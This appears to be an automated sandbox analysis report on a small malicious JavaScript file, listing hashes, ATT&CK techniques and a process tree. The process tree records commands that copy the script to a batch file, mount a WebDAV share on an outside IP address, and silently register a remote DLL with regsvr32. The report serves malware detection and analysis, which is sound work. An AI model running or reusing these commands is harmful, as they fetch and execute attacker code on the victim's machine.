90b640d05694d5b6443dd4b5ac15467cdd1770e26d3a396cc3f7eedf8815395c

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
10-07-2024 13:49

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General

Target

164962732970732594.js
Size

5KB
MD5

a6b2a59f6d83b8cc55113b7373909b77
SHA1

1dc6f69b3a2088a101d6bee2f4a2af8de2de1c04
SHA256

90b640d05694d5b6443dd4b5ac15467cdd1770e26d3a396cc3f7eedf8815395c
SHA512

74279ce9b4c82ab5d5c8fd9a0d9cad7ca2d40f27e226791946f6d477bfe6de445bbb69bf285a9479b740c4da6293b323083796a97b068f17fa5941fab27ff8d0
SSDEEP

96:Bs9Kmsh6bskUzzFPiv+FRTQszC+FRTOIgisUj12uiDKIvXoEPkuEq:1Gfisu2bB/okkuz

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2720	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2692 wrote to memory of 3068	2692	wscript.exe	30
PID 2692 wrote to memory of 3068	2692	wscript.exe	30
PID 2692 wrote to memory of 3068	2692	wscript.exe	30
PID 3068 wrote to memory of 2844	3068	cmd.exe	32
PID 3068 wrote to memory of 2844	3068	cmd.exe	32
PID 3068 wrote to memory of 2844	3068	cmd.exe	32
PID 3068 wrote to memory of 2720	3068	cmd.exe	33
PID 3068 wrote to memory of 2720	3068	cmd.exe	33
PID 3068 wrote to memory of 2720	3068	cmd.exe	33
PID 3068 wrote to memory of 2720	3068	cmd.exe	33
PID 3068 wrote to memory of 2720	3068	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\164962732970732594.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\164962732970732594.js" "C:\Users\Admin\\vmmoin.bat" && "C:\Users\Admin\\vmmoin.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3068
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2844
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\115.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\vmmoin.bat

Filesize
5KB

MD5
a6b2a59f6d83b8cc55113b7373909b77

SHA1
1dc6f69b3a2088a101d6bee2f4a2af8de2de1c04

SHA256
90b640d05694d5b6443dd4b5ac15467cdd1770e26d3a396cc3f7eedf8815395c

SHA512
74279ce9b4c82ab5d5c8fd9a0d9cad7ca2d40f27e226791946f6d477bfe6de445bbb69bf285a9479b740c4da6293b323083796a97b068f17fa5941fab27ff8d0

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